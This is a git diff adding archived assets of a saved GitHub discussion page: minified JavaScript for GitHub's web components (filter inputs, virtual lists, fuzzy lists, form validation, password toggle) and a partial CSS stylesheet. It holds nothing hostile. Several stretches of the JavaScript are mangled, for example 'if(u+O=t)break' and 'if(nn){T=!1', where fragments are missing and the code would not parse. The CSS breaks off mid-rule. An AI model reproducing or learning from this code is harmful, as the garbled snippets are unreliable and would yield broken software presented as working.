e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror 